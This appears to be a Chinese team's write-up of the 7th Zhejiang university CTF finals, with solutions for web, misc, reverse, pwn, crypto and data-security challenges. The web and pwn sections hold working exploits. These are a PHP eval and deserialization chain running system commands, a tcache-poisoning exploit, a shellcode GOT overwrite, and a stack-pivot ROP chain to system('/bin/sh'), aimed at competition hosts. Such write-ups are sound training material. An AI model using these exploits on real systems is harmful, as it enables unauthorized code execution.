第七届浙江省大学生网络与信息安全竞赛决赛WP

总榜第一,被队友带飞了,也算圆满最后一届的浙江省大学生竞赛了,非常感谢队友

我们,是冠军!!!

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/rank1.png

1 web

1.1 wucanrce

<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
    if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))

     {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
                @eval($_GET['code']);
            }

    }
    else{
        die("不让用session欧,readfile也不行");
    }
}
?>

无参rce

//查看上一级目录文件名
print_r(scandir(dirname(getcwd())));

//读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

1.2 unserialize

<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
    public $aear;
    public $string;
    public function __construct($a){
        $this -> aear = $a;
    }
    function __destruct()
    {
        echo $this -> aear;
    }
    public function __toString()
    {
        $new = $this -> string;
        return $new();
    }

}

class BBB {
    private $pop;

    public function __construct($string) {
        $this -> pop = $string;
    }

    public function __get($value) {
        $var = $this -> $value;
        $var[$value]();
    }
}

class DDD{
    public $bag;
    public $magazine;

    public function __toString()
    {
        $length = @$this -> bag -> add();
        return $length;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> magazine -> tower)
        {
            echo "really??";
        }
    }
}

class EEE{
    public $d=array();
    public $e;
    public $f;
    public function __get($arg1){
        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
            }
        else{
            eval($this->f);
            }
    }
}

class FFF{
    protected $cookie;

    protected function delete() {
        return $this -> cookie;
    }

    public function __call($func, $args) {
        echo 'hahahhhh';
        call_user_func([$this, $func."haha"], $args);
    }
}
class GGG{
    public $green;
    public $book;
    public function __invoke(){
        if(md5(md5($this -> book)) == 666) {
            return $this -> green -> pen;
        }
    }
}

if(isset($_POST['UP'])) {
    unserialize($_POST['UP']);
}

反序列化

调用路径: AAA::__destruct-->AAA::__toString-->GGG::__invoke-->EEE::__get

其中到GGG的时候需要爆破一下md5

# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys


CHARS = string.letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS

    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        md5 = hashlib.md5(md5.hexdigest())

        if md5.hexdigest()[start: start+str_len] == substr and md5.hexdigest()[3].isdigit()==False:
            print rnds
            stop_event.set()


if __name__ == '__main__':
    substr = sys.argv[1].strip()

    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0

    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)]

    for p in processes:
        p.start()

    for p in processes:
        p.join()

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-unserialize-1.png

EEE中的if用报错跳过即可

exp:

<?php

class GGG{
    public $green;
    public $book='g1xFqZRDDTyxafSIUSta';
}


class AAA{
    public $aear;
    public $string;
}



class EEE{
    public $d=1;
    public $e;
    public $f="system('cat /flag.txt');";
}

$a = new AAA();
$a->aear = new AAA();
$a->aear->string = new GGG();
$a->aear->string->green = new EEE();

echo urlencode(serialize($a));

//O%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A3%3A%22GGG%22%3A2%3A%7Bs%3A5%3A%22green%22%3BO%3A3%3A%22EEE%22%3A3%3A%7Bs%3A1%3A%22d%22%3Bi%3A1%3Bs%3A1%3A%22e%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A24%3A%22system%28%27cat+%2Fflag.txt%27%29%3B%22%3B%7Ds%3A4%3A%22book%22%3Bs%3A20%3A%22g1xFqZRDDTyxafSIUSta%22%3B%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-unserialize-2.png

2 misc

2.1 FinalSign

附件是一个txt,存在snow特征,有大量的2009

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-FinalSign-1.png

用得到的keyhelloworld去xor txt中的字符串

a=bytes.fromhex('2c243f2f3b3114345d0a0909333f06100143023b2c55020912')
key=b'helloworld'
e=[]
for i in range(0,len(a)):
    e.append(a[i]^key[i%len(key)])
print(bytes(e))


#b'DASCTF{F1nal_Sign1n_D0ne}'

2.2 非黑即白

反转文件,得到一张gif

with open('非黑即白','rb') as f:
   with open('1.gif','wb') as g:
      g.write(f.read()[::-1])

将纯黑色的帧转为0,其他的转为1,得到一个加密的zip

from PIL import Image
a=Image.open("1.gif")
n=0
data=""
e=[]
while True:
    try:
        a.seek(n)
        d=a.copy().convert('1').getdata()
        if (d[0]==0):
            data+='0'
        else:
            data+='1'
    except:
        break;
    if (len(data)==8):
        e.append(int(data,2))
        data=''
    n+=1

f=open("data.zip",'wb')
f.write(bytes(e))
f.close()

identify查看帧间隔,发现前几帧的间隔不一致,提取出来转成字符串

root@lewiserii:~# identify -format "%s %T \n" 2.gif
0 118
1 106
2 69
3 74
4 48
5 98
6 83
7 117
8 77
9 79
10 86
11 65
12 90
13 103
14 101
a=[118,106,69,74,48,98,83,117,77,79,86,65,90,103,101]
print(bytes(a))

#b'vjEJ0bSuMOVAZge'

解压得到flag DASCTF{H3r3_1s_C0L0rful_W0rld}

2.3 天命人

按照黑猴的章节名排序

火照黑云
风起黄昏
夜生白露
曲度紫鸳
日落红尘
未竟

发现按照顺序取一个字节是50 4b 03 04 00 0a

python提取出来

file_list = ['火照黑云', '风起黄昏', '夜生白露', '曲度紫鸳', '日落红尘', '未竟']
sources = [open(file_name, 'rb') for file_name in file_list]
n = 0
with open('1.zip', 'wb') as target:
    while n < 0x5ead4:
        bytes_read = [source.read(1) for source in sources]

        for byte in bytes_read:
            if byte:
                target.write(byte)
        n += 1

7-zip打开可以看到另一个zip

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-天命人-1.png

其中 根器.zip 很明显进行crc32爆破

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-天命人-2.png

C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x76899D01
4 bytes: C0M3 {0x43, 0x30, 0x4d, 0x33}
verification checksum: 0x76899d01 (OK)


C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x8E036AA6
4 bytes: _4ND {0x5f, 0x34, 0x4e, 0x44}
verification checksum: 0x8e036aa6 (OK)


C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x881D716A
4 bytes: _Get {0x5f, 0x47, 0x65, 0x74}
verification checksum: 0x881d716a (OK)


C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x7F3D8E75
4 bytes: _S1X {0x5f, 0x53, 0x31, 0x58}
verification checksum: 0x7f3d8e75 (OK)


C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x248D3C69
4 bytes: _R00 {0x5f, 0x52, 0x30, 0x30}
verification checksum: 0x248d3c69 (OK)


C:\Users\lewiserii\Desktop\脚\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0xCB27D2BD
4 bytes: TS!! {0x54, 0x53, 0x21, 0x21}
verification checksum: 0xcb27d2bd (OK)

得到密码C0M3_4ND_Get_S1X_R00TS!!,解密 未竟.zip

提取金箍棒.png上的像素点

from PIL import Image

a = Image.open("金箍棒.png")
x, y = 5, 5
x_, y_ = 0, 0
w, h = a.size
b = Image.new(a.mode, (w // 10, h // 10))

for x in range(5, w, 10):
    for y in range(5, h, 10):
        print(x, y, x_, y_)
        b.putpixel((x_, y_), a.getpixel((x, y)))
        y_ += 1
    x_ += 1
    y_ = 0
b.save('1.png')

得到verapass1:jinggubang

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-天命人-3.png

用照片作为密钥文件同时使用密码挂载得到flag

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-天命人-4.png

DASCTF{T1m3_t0_F4Ce_De5t1nY}

3 reverse

3.1 Reverse2

upx 加密,但抹了特征,修改一下就行

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-Reverse2-1.png

然后用命令解密

upx -d Reverse2.exe

打开就是 base64 换表

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-Reverse2-2.png

3.2 Reverse1

先使用标准rc4加密密钥 之后使用魔改的rc4加密明文

class rc4():
    def toBytes(self,data):
        if type(data)==str:
            return data.encode()
        elif type(data)==bytes:
            return data
        else:
            raise Exception("data Type Error")

    def GetKey(self,data):
        k=[]
        k1=[]
        data_l=len(data)
        for i in range(256):
            k.append(i)
            k1.append(data[i%data_l])
        n=0
        for i in range(256):
            n=(k1[i]+n+k[i])&0xff
            n1=k[i]
            k[i]=k[n]
            k[n]=n1
        return k

    def Cipher(self,data):
        data=self.toBytes(data)
        enc=[]
        k=self.Key.copy()
        n=0
        n1=0
        tmp=0
        for i in range(len(data)):
            n=(n+1)&0xff
            n1=(n1+k[n])&0xff
            tmp=k[n]
            k[n]=k[n1]
            k[n1]=tmp
            enc.append((data[i]+k[(k[n]+k[n1])%256])&0xff)
        return bytes(enc)


    def __init__(self,key):
        key=self.toBytes(key)
        self.Key=self.GetKey(key)
        self.__Key=key

    def SetKey(self,key):
        key=self.toBytes(key)
        self.Key=self.GetKey(key)
        self.__Key=key


k=bytes.fromhex("690d5ab240ea193f2f6a")
d=[0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF]
r=rc4(bytes(k))
e=r.Cipher(bytes(d))
print(e)

4 pwn

4.1 ezPwn

直接利用tcache bin0x4180地址处创建chunk,并写入构造好的数据,就可以获取flag

from pwn import *


context.arch='amd64'
def add(size,data=b'\n'):
    p.sendlineafter(b'exit',b'1')
    p.sendlineafter(b"size>>",str(size).encode())
    p.sendafter("data>>",data)
def edit(ind,data):
    p.sendlineafter(b'exit',b'2')
    p.sendlineafter(b'index>>',str(ind).encode())
    p.sendafter("data>>",data)

def show(ind):
    p.sendlineafter(b'exit',b'3')
    p.sendlineafter(b'index>>',str(ind).encode())
    p.readuntil(b'data>>\n')
def free(ind):
    p.sendlineafter(b'exit',b'4')
    p.sendlineafter(b'index>>',str(ind).encode())
def exit():
    p.sendlineafter(b'exit',b'5')
def getflag():
    p.sendlineafter(b'exit',b'6')

def calc(data):
    mark=0xfff000000000
    data1=data&mark
    result=0
    result|=data1
    for i in range(3):
        data1=((data1>>12)^data)&(mark>>12)
        result|=data1
        mark=mark>>12
    return result
    pass
e=ELF("./pwn")

#p=process("./pwn")
p=remote('10.1.197.36',9999)
p.readuntil(b'gift:\n')
e.address=int(p.readline(),16)-0x1a44
#gdb.attach(p)
add(0x400)
add(0x400)
add(0x400)
free(0)
free(1)
free(2)
show(1)
d=u64(p.read(8))
print(hex(d))
d=calc(d)
print(hex(d))
_4180=e.address+0x4180

edit(1,p64(_4180^((d+0x410)>>12)))
add(0x400)
add(0x400)
add(0x400)
payload=p32(0xf0)*10
edit(5,payload)
p.sendline('6')
p.interactive()

4.2 printFFF

题目允许写入0x15字节的shellcode,但是不够获取shell 所以利用exitgot表第二次写shellcode,并在第一次shellcode中设置一些环境 这样第二次shellcode就可以直接调用system("sh")来获取shell

from pwn import *
context.arch='amd64'
shellcode="""
mov edi,0x404800
mov eax,0x6873
mov [rdi],rax
pop rdi
sub rdi,0x6D
jmp rdi
"""
shellop=asm(shellcode)
print(hex(len(shellop)))
#exit()
e=ELF("./pwn")
#p=process("./pwn")
p=remote("10.1.197.38",9999)
#gdb.attach(p,'bp 0x4010E0')

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
p.interactive()
shellcode="""
mov edi,0x404800
mov rax,[0x404030]
sub rax,0xc3a60
jmp rax
"""
shellop=asm(shellcode)
print(hex(len(shellop)))

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
pause()
p.interactive()

4.3 reverse_stack

在程序扩展栈空间的时候存在整数溢出,让下一个函数的栈在当前函数的前面,就可以实现修改程序流 通过修改程序流让程序第二次使用mmap创建第二个栈 这两个栈是连续的,这样在第一次调用函数时写入的栈地址就在程序栈的中间,就可以获取栈中的数据,比如libc_start_main的地址 之后就可以构造rop链获取shell

from pwn import *
#context.log_level='debug'

def l(size):
    p.sendafter('long?\n',p64(size&(0xffffffffffffffff)))

def d(data):
    p.sendafter('buf\n',data)

def pill(n):
    if n:
        p.sendafter('pill?\n',b'red'.ljust(8,b'\x00'))
    else:
        p.sendafter('pill?\n',b'blue'.ljust(8,b'\x00'))


p=remote("10.1.197.37",9999)
#p=process('./pwn')
e=ELF("./pwn")
#pause()
l(0x40)
d('asdfadsf')
pill(1)
l(0x400)
d(b'\x87')
pill(0)
l(0x58)
d('asdfasdf')
p.read(0x40)
d_=u64(p.read(8))
d_=u64(p.read(8))
print(hex(d_))
e.address=d_-0x1233
d_=u64(p.read(8))
print(hex(d_))
stack=d_&(-0x1000)
pill(1)
for i in range(10):
    l(0x400)
    d('asdfadsf')
    pill(1)

l(-0x400)
pill(1)
l(0x500)
payload=b'a'*0x3c8+p64(e.address+0x1050)+p64(stack+0x5000)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))

for i in range(0x102):
    l(0x1f0)
    d('asd')
    pill(1)
l(-0x400)
pill(1)
l(0x500)

payload=b'a'*0x3c8+p64(e.address+0x11CE)+p64(stack-0x78)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x70)
d_=u64(p.read(8))
print(hex(d_))
real_stack=d_

pill(1)
l(-0x400)
pill(1)
l(0x1f0)
d('rotwill')

pill(1)
l(0x500)

payload=b'a'*(0x3c8-33*0x10)+p64(e.address+0x11ce)+p64(real_stack-0x4d0-8)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x4d0)
d_=u64(p.read(8))
print(hex(d_))
pause()
pill(1)
#p.interactive()

libc=ELF("./libc.so.6")
libc.address=d_-0x29d90

gadget=libc.address+0xebc81
l(-0x400)
pill(1)
l(0x500)
system=libc.sym['system']
rdi=0x000000000002a3e5+libc.address
bin_sh=next(libc.search(b'/bin/sh\x00'))
ret=rdi+1
#gdb.attach(p,'bp $rebase(0x1228)\nc')
#pause()
payload=b'a'*(0x3c8)+p64(ret)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(stack+0x18000)
d(payload)
p.readuntil('pill?\n')
p.send(b''.ljust(8,b'\x00'))

p.interactive()

5 数据安全

5.1 datasecurity_classify1

from string import ascii_letters
import os
phone_prefix = [
    734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
    778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
    756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
    780, 781, 789, 790, 791, 793, 799
]
id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
if os.path.exists('result.csv'):
    os.remove('result.csv')
with open('result.csv','+a') as result:
    result.write('类型,数据值\n');
    with open('data.csv','rb') as data:
        for line in data.readlines():
            line = line.decode().strip();
            if len(line) == 18:
                # id card
                qian_17 = line[:17]
                sums = 0;
                for i,e in enumerate(qian_17):
                    e = int(e) * id_card_xishu[i];
                    sums += e;
                if line[-1] != odd[sums % 11]:
                    continue;
                result.write('身份证号,'+line + '\n');
            elif len(line) == 11:
                for prefix in phone_prefix:
                    if line.startswith(str(prefix)):
                        result.write('手机号,'+line + '\n');
                        break;
            else:
                if '数据值' in line:
                    continue;
                # name
                sign = False;
                for i in ascii_letters:
                    if i in line:
                        sign = True;
                        break;
                if not sign:
                    result.write('姓名,'+line + '\n');

5.2 datasecurity_classify2

先用tshark提取数据

tshark -r data.pcapng -T felds -Y "http.request.method==POST" -e data

除了文档中的要求外注意处理ip的范围

def veryifyIdCard(idcard):
    if len(idcard) != 18:
        return False;
    idcardList.append(idcard)
    idcard = idcard.upper()
    id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
    sums = 0;
    qian_17 = idcard[:17]
    for i,e in enumerate(qian_17):
        e = int(e) * id_card_xishu[i];
        sums += e;

    return idcard[-1] == odd[sums % 11];

def verifyPhone(phone):
    phone_prefix = [
        734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778,
        782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766,
        767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789,
        790, 791, 793, 799
    ]
    if len(phone) != 11 or phone[-1] == 'X':
        return False;
    for prefix in phone_prefix:
        if phone.startswith(str(prefix)):
            return True;
    return False;

def verifyIp(ip):
    for i in ip.split('.'):
        if int(i) > 255:
            return False;
    return True;

def cleanData(data):
    if '-' in data:
        data = ''.join(data.split('-'))
    elif ' ' in data:
        data = ''.join(data.split(' '))

    return data;



import re,os
ipMatch = re.compile(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}');
phoneMatch = re.compile('(\d{11}|\d{3}\ \d{4}\ \d{4}|\d{3}\-\d{4}\-\d{4})');
idcardMatch = re.compile('(\d{18}|\d{6}\ \d{8}\ \d{4}|\d{6}\-\d{8}\-\d{4})');
idcardMatch_with_x = re.compile('(\d{17}X|\d{6}\ \d{8}\ \d{3}X|\d{6}\-\d{8}\-\d{3}X)');

idcardList = []

if os.path.exists('result2.csv'):
    os.remove('result2.csv')
with open('result2.csv','+a') as result:
    result.write('category,value\n');
    with open('data.dat', 'r') as data:
        data2 = bytes.fromhex(data.read()).decode();
        for line in data2.split(','):
            if idcardMatch.findall(line):
                for e in idcardMatch.findall(line):
                    e = cleanData(e);
                    if veryifyIdCard(e):
                        result.write('idcard,' + e + '\n');
            if idcardMatch_with_x.findall(line):
                for e in idcardMatch_with_x.findall(line):
                    e = cleanData(e);
                    if veryifyIdCard(e):
                        result.write('idcard,' + e + '\n');
            if phoneMatch.findall(line):
                for e in phoneMatch.findall(line):
                    e = cleanData(e);
                    sign = True;
                    for card in idcardList:
                        if e in card:
                            sign = False;
                            break;
                    if not sign:
                        continue;
                    if verifyPhone(e):
                        result.write('phone,' + e + '\n');
            if ipMatch.findall(line):
                for e in ipMatch.findall(line):
                    if verifyIp(e):
                        result.write('ip,' + e + '\n');

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-datasecurity_classify2-1.png

6 crypto

6.1 MyCode

根据加密内容生成key并爆破即可

import numpy as np


def substitute(state, sub_box):
    return [sub_box[b & 0xF] | (sub_box[(b >> 4) & 0xF] << 4) for b in state]


def generate_round_keys(base_key, rounds):
    round_keys = []
    temp_key = base_key
    for _ in range(rounds):
        round_keys.append(temp_key & 0xFFFFFFFF)
        temp_key ^= ((temp_key << 1) & 0xFFFFFFFF) | ((temp_key >> 31) & 0x1)
    return round_keys


def process_state(base_key, state, rounds, encrypt):
    sub_box = [0x9, 0x4, 0xA, 0xB, 0xD, 0x1, 0x8, 0x5, 0x6, 0x2, 0x0, 0x3, 0xC, 0xE, 0xF, 0x7]
    inv_sub_box = [0xA, 0x5, 0x9, 0xB, 0x1, 0x7, 0x8, 0xF, 0x6, 0x0, 0x2, 0x3, 0xC, 0x4, 0xD, 0xE]

    round_keys = generate_round_keys(base_key, rounds)

    if encrypt:
        for round in range(rounds):
            state = substitute(state, sub_box)
            state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
    else:
        for round in range(rounds - 1, -1, -1):
            state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
            state = substitute(state, inv_sub_box)

    return state


def encrypt(plaintext, key, rounds=10):
    length = len(plaintext)
    padded_length = length if length % 4 == 0 else length + (4 - (length % 4))
    plaintext += b'\x00' * (padded_length - length)

    ciphertext = bytearray(padded_length)
    for i in range(0, padded_length, 4):
        state = list(plaintext[i:i + 4])
        state = process_state(key, state, rounds, True)
        ciphertext[i:i + 4] = state

    return ciphertext


def decrypt(ciphertext, key, rounds=10):
    length = len(ciphertext)
    plaintext = bytearray(length)
    for i in range(0, length, 4):
        state = list(ciphertext[i:i + 4])
        state = process_state(key, state, rounds, False)
        plaintext[i:i + 4] = state

    return plaintext.rstrip(b'\x00')


def main():
    # plaintext = b"DASCTF{******}"
    # key = 0xECB... # 4 bytes
    # ciphertext = encrypt(plaintext, key)
    # print("Ciphertext:", ''.join(f"{b:02X}" for b in ciphertext))

    Ciphertext = 'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F299022820299248C23D678442A902B4C24A8784A3EA401'
    Ciphertext = bytes.fromhex(Ciphertext)

    for i in range(0xFFFFF + 1):
        key = 0xecb00000 + i
        re = decrypt(Ciphertext, key)
        print(re)
        if b'DAS' in re:
            break


if __name__ == "__main__":
    main()

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-MyCode-1.png

7 信创安全

7.1 OH

app会在点击事件中对输入进行加密,将加密之后的数据与/aPR+E8wS9+XbFMUfm8NacHpP190pf5xaR8+MIm/8gw=进行比较

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-1.png

程序加密的调用流程为encrypt->encryptX->encryptY->encodeX->encodeY

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-2.png

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-3.png

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-4.png

分析初始化函数发现,加密使用的密钥相同,为DASCTF2024-OHAPPencryptX为aes-128|ecb加密,encryptY为aes-128|cbc加密

分析encryptY,发现疑似使用encryptX的结果作为cbc的iv 程序将明文从中间分为两个十六位字符串,前十六位进行encryptX加密,后十六位进行encryptY加密

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-5.png

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-6.png

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-OH-7.png

8 签到

8.1 网安知识大挑战-FINAL

简单的问题,直接做了

DBCCCCBCDB

根据提示用Triple DES解密得到flag

/posts/第七届浙江省大学生网络与信息安全竞赛决赛WP/2024-zjss-js-网安知识大挑战-FINAL-1.png

0%